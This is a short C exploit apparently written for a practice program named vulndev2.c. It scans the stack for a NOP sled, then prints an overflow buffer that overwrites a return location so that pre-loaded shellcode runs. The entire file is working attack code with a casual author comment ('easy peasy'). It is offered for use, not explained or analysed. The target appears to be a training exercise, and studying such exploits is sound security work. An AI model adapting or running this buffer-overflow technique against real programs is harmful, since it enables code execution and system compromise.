/* exploit for vulndev2.c * easy peasy * -ex0 @ cpimps */ #include #include #define PUT_ADDR(addr, val) { \ *(char *)(addr) = (val) & 0xff; \ *(char *)((addr) + 1) = ((val) >> 8) & 0xff; \ *(char *)((addr) + 2) = ((val) >> 16) & 0xff; \ *(char *)((addr) + 3) = ((val) >> 24) & 0xff; \ } #define BSIZE 90 unsigned long get_sp(void); int main(int argc, char *argv[]) { char arg1[BSIZE + 8]; char arg2[8]; char *p; int i; int skip = 0; int retloc; int retaddr; if(argc < 2) { fprintf(stderr, "usage: %s []\n", argv[0]); exit(0); } sscanf(argv[1], "%x", &retloc); if(argc == 3) { sscanf(argv[2], "%d", &skip); fprintf(stderr, "skipping %d bytes\n", skip); } /* lame */ p = (char *)get_sp(); while((i = strncmp(p, "\x90\x90\x90\x90", 4)) != 0 && p < (char *)0xbfffffff) p++; if(i != 0) { fprintf(stderr, "load shellcode into memory first! (remember to pad with some nops)\n"); exit(0); } (char *)retaddr = p; fprintf(stderr, "using retloc: 0x%x - retaddr: 0x%x\n", retloc, retaddr); memset(arg1, 'A', sizeof(arg1)); PUT_ADDR(arg1 + BSIZE + skip, retloc - 2); memset(arg2, 0x00, sizeof(arg2)); PUT_ADDR(arg2, retaddr); fprintf(stderr, "exploitation buffer ready\n"); printf("%s %s\n", arg1, arg2); return; } unsigned long get_sp(void) { __asm__ ("movl %esp, %eax"); }